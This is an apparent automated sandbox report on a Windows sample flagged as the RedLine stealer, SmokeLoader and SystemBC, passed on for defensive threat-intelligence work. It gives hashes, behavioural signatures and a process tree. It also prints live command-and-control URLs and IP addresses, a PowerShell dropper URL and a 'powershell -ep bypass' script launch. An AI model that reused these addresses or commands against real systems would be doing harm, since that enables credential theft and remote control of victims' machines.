redline | 5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28

Analysis

max time kernel
151s
max time network
137s
platform
windows10_x64
resource
win10-en-20211208
submitted
09-12-2021 13:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exe
Size

297KB
MD5

db7f17a3f72742ef2fb1cdf5dd296887
SHA1

23109ad2f1f042890a58dde3ffeab77c81e4862a
SHA256

5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28
SHA512

ace57895451f4dc906bc337a2cf11e0768e7136e1b2a976dda7fe0810af1659f5344e55485f42b8f7cc32faf95b053728228fb0a1126d6450093c05a98d98948

Score

10^/10

redline smokeloader systembc backdoor discovery infostealer persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://rcacademy.at/upload/

http://e-lanpengeonline.com/upload/

http://vjcmvz.cn/upload/

http://galala.ru/upload/

http://witra.ru/upload/

rc4.i32

Extracted

Family

redline

195.133.47.114:38627

Extracted

Family

systembc

185.209.30.180:4001

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1432-122-0x0000000000330000-0x0000000000398000-memory.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\8903.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\8903.exe	family_redline
behavioral1/memory/3620-167-0x00000000008A0000-0x000000000090C000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
trojan systembc
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

Processes:

powershell.exe

flow	pid	process
88	3640	powershell.exe
90	3640	powershell.exe
91	3640	powershell.exe
92	3640	powershell.exe
94	3640	powershell.exe
96	3640	powershell.exe
98	3640	powershell.exe
100	3640	powershell.exe
102	3640	powershell.exe

Downloads MZ/PE file
Executes dropped EXE 7 IoCs

Processes:

73B5.exe8903.exeA854.exeCBBB.exeCBBB.exe53B.exewfbjtvr

pid process

1432 73B5.exe
1904 8903.exe
3620 A854.exe
1984 CBBB.exe
3628 CBBB.exe
3800 53B.exe
1348 wfbjtvr
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

pid	process
1432	73B5.exe
1904	8903.exe
3620	A854.exe
1984	CBBB.exe
3628	CBBB.exe
3800	53B.exe
1348	wfbjtvr

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Deletes itself 1 IoCs

Processes:

pid process

3040
Loads dropped DLL 2 IoCs

Processes:

pid process

3844
3844
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

73B5.exeA854.exe

pid process

1432 73B5.exe
3620 A854.exe

pid	process
3040

pid	process
3844
3844

pid	process
1432	73B5.exe
3620	A854.exe

Drops file in Program Files directory 4 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe

Drops file in Windows directory 21 IoCs

Processes:

powershell.exepowershell.exeCBBB.exe

description	ioc	process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_zglhsgxg.q43.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5A60.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5A4E.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\Tasks\wow64.job	CBBB.exe
File opened for modification	C:\Windows\Tasks\wow64.job	CBBB.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_1oxwqamh.onb.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5A3E.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5A2D.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5A5F.tmp	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exewfbjtvr

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	wfbjtvr
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	wfbjtvr
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	wfbjtvr

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1072 reg.exe
Runs net.exe

pid	process
1072	reg.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	90	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	91	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	92	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	94	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exe

pid	process
2768	5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exe
2768	5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exe
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3040
Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

632
632
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exewfbjtvr

pid process

2768 5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exe
1348 wfbjtvr

pid	process
3040

pid	process
632
632

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

73B5.exe8903.exeA854.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeDebugPrivilege	1432	73B5.exe
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeDebugPrivilege	1904	8903.exe
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeDebugPrivilege	3620	A854.exe
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeIncreaseQuotaPrivilege	1532	powershell.exe
Token: SeSecurityPrivilege	1532	powershell.exe
Token: SeTakeOwnershipPrivilege	1532	powershell.exe
Token: SeLoadDriverPrivilege	1532	powershell.exe
Token: SeSystemProfilePrivilege	1532	powershell.exe
Token: SeSystemtimePrivilege	1532	powershell.exe
Token: SeProfSingleProcessPrivilege	1532	powershell.exe
Token: SeIncBasePriorityPrivilege	1532	powershell.exe
Token: SeCreatePagefilePrivilege	1532	powershell.exe
Token: SeBackupPrivilege	1532	powershell.exe
Token: SeRestorePrivilege	1532	powershell.exe
Token: SeShutdownPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeSystemEnvironmentPrivilege	1532	powershell.exe
Token: SeRemoteShutdownPrivilege	1532	powershell.exe
Token: SeUndockPrivilege	1532	powershell.exe
Token: SeManageVolumePrivilege	1532	powershell.exe
Token: 33	1532	powershell.exe
Token: 34	1532	powershell.exe
Token: 35	1532	powershell.exe
Token: 36	1532	powershell.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeIncreaseQuotaPrivilege	400	powershell.exe
Token: SeSecurityPrivilege	400	powershell.exe
Token: SeTakeOwnershipPrivilege	400	powershell.exe
Token: SeLoadDriverPrivilege	400	powershell.exe
Token: SeSystemProfilePrivilege	400	powershell.exe
Token: SeSystemtimePrivilege	400	powershell.exe
Token: SeProfSingleProcessPrivilege	400	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

pid process

3040
3040
Suspicious use of SendNotifyMessage 7 IoCs

Processes:

pid process

3040
3040
3040
3040
3040
3040
3040

pid	process
3040
3040

pid	process
3040
3040
3040
3040
3040
3040
3040

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

53B.exepowershell.execsc.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exenet.exe

description	pid	process	target process
PID 3040 wrote to memory of 1432	3040		73B5.exe
PID 3040 wrote to memory of 1432	3040		73B5.exe
PID 3040 wrote to memory of 1432	3040		73B5.exe
PID 3040 wrote to memory of 1904	3040		8903.exe
PID 3040 wrote to memory of 1904	3040		8903.exe
PID 3040 wrote to memory of 1904	3040		8903.exe
PID 3040 wrote to memory of 3620	3040		A854.exe
PID 3040 wrote to memory of 3620	3040		A854.exe
PID 3040 wrote to memory of 3620	3040		A854.exe
PID 3040 wrote to memory of 1984	3040		CBBB.exe
PID 3040 wrote to memory of 1984	3040		CBBB.exe
PID 3040 wrote to memory of 1984	3040		CBBB.exe
PID 3040 wrote to memory of 3800	3040		53B.exe
PID 3040 wrote to memory of 3800	3040		53B.exe
PID 3800 wrote to memory of 2312	3800	53B.exe	powershell.exe
PID 3800 wrote to memory of 2312	3800	53B.exe	powershell.exe
PID 2312 wrote to memory of 3968	2312	powershell.exe	csc.exe
PID 2312 wrote to memory of 3968	2312	powershell.exe	csc.exe
PID 3968 wrote to memory of 3136	3968	csc.exe	cvtres.exe
PID 3968 wrote to memory of 3136	3968	csc.exe	cvtres.exe
PID 2312 wrote to memory of 916	2312	powershell.exe	csc.exe
PID 2312 wrote to memory of 916	2312	powershell.exe	csc.exe
PID 916 wrote to memory of 2376	916	csc.exe	cvtres.exe
PID 916 wrote to memory of 2376	916	csc.exe	cvtres.exe
PID 2312 wrote to memory of 1532	2312	powershell.exe	powershell.exe
PID 2312 wrote to memory of 1532	2312	powershell.exe	powershell.exe
PID 2312 wrote to memory of 400	2312	powershell.exe	powershell.exe
PID 2312 wrote to memory of 400	2312	powershell.exe	powershell.exe
PID 2312 wrote to memory of 3172	2312	powershell.exe	powershell.exe
PID 2312 wrote to memory of 3172	2312	powershell.exe	powershell.exe
PID 2312 wrote to memory of 680	2312	powershell.exe	reg.exe
PID 2312 wrote to memory of 680	2312	powershell.exe	reg.exe
PID 2312 wrote to memory of 1072	2312	powershell.exe	reg.exe
PID 2312 wrote to memory of 1072	2312	powershell.exe	reg.exe
PID 2312 wrote to memory of 1148	2312	powershell.exe	reg.exe
PID 2312 wrote to memory of 1148	2312	powershell.exe	reg.exe
PID 2312 wrote to memory of 2180	2312	powershell.exe	net.exe
PID 2312 wrote to memory of 2180	2312	powershell.exe	net.exe
PID 2180 wrote to memory of 3864	2180	net.exe	net1.exe
PID 2180 wrote to memory of 3864	2180	net.exe	net1.exe
PID 2312 wrote to memory of 3824	2312	powershell.exe	cmd.exe
PID 2312 wrote to memory of 3824	2312	powershell.exe	cmd.exe
PID 3824 wrote to memory of 1660	3824	cmd.exe	cmd.exe
PID 3824 wrote to memory of 1660	3824	cmd.exe	cmd.exe
PID 1660 wrote to memory of 3984	1660	cmd.exe	net.exe
PID 1660 wrote to memory of 3984	1660	cmd.exe	net.exe
PID 3984 wrote to memory of 968	3984	net.exe	net1.exe
PID 3984 wrote to memory of 968	3984	net.exe	net1.exe
PID 2312 wrote to memory of 2028	2312	powershell.exe	cmd.exe
PID 2312 wrote to memory of 2028	2312	powershell.exe	cmd.exe
PID 2028 wrote to memory of 2060	2028	cmd.exe	cmd.exe
PID 2028 wrote to memory of 2060	2028	cmd.exe	cmd.exe
PID 2060 wrote to memory of 1304	2060	cmd.exe	net.exe
PID 2060 wrote to memory of 1304	2060	cmd.exe	net.exe
PID 1304 wrote to memory of 2820	1304	net.exe	net1.exe
PID 1304 wrote to memory of 2820	1304	net.exe	net1.exe
PID 1344 wrote to memory of 1308	1344	cmd.exe	net.exe
PID 1344 wrote to memory of 1308	1344	cmd.exe	net.exe
PID 1308 wrote to memory of 836	1308	net.exe	net1.exe
PID 1308 wrote to memory of 836	1308	net.exe	net1.exe
PID 1532 wrote to memory of 8	1532	cmd.exe	net.exe
PID 1532 wrote to memory of 8	1532	cmd.exe	net.exe
PID 8 wrote to memory of 1864	8	net.exe	net1.exe
PID 8 wrote to memory of 1864	8	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exe
"C:\Users\Admin\AppData\Local\Temp\5b84a6685a8507f5e7ddf5fe2edbc8b2e63a576d433e7b9e447d7884c7477a28.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2768

C:\Users\Admin\AppData\Local\Temp\73B5.exe
C:\Users\Admin\AppData\Local\Temp\73B5.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1432

C:\Users\Admin\AppData\Local\Temp\8903.exe
C:\Users\Admin\AppData\Local\Temp\8903.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1904

C:\Users\Admin\AppData\Local\Temp\A854.exe
C:\Users\Admin\AppData\Local\Temp\A854.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:3620

C:\Users\Admin\AppData\Local\Temp\CBBB.exe
C:\Users\Admin\AppData\Local\Temp\CBBB.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:1984

C:\Users\Admin\AppData\Local\Temp\CBBB.exe
C:\Users\Admin\AppData\Local\Temp\CBBB.exe start
1⤵
- Executes dropped EXE
PID:3628

C:\Users\Admin\AppData\Local\Temp\53B.exe
C:\Users\Admin\AppData\Local\Temp\53B.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2312

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u1ro3q0b\u1ro3q0b.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:3968

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1E9B.tmp" "c:\Users\Admin\AppData\Local\Temp\u1ro3q0b\CSCBCABE9DCDC7E4AC1B6926E10764D5F4D.TMP"
4⤵
PID:3136

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
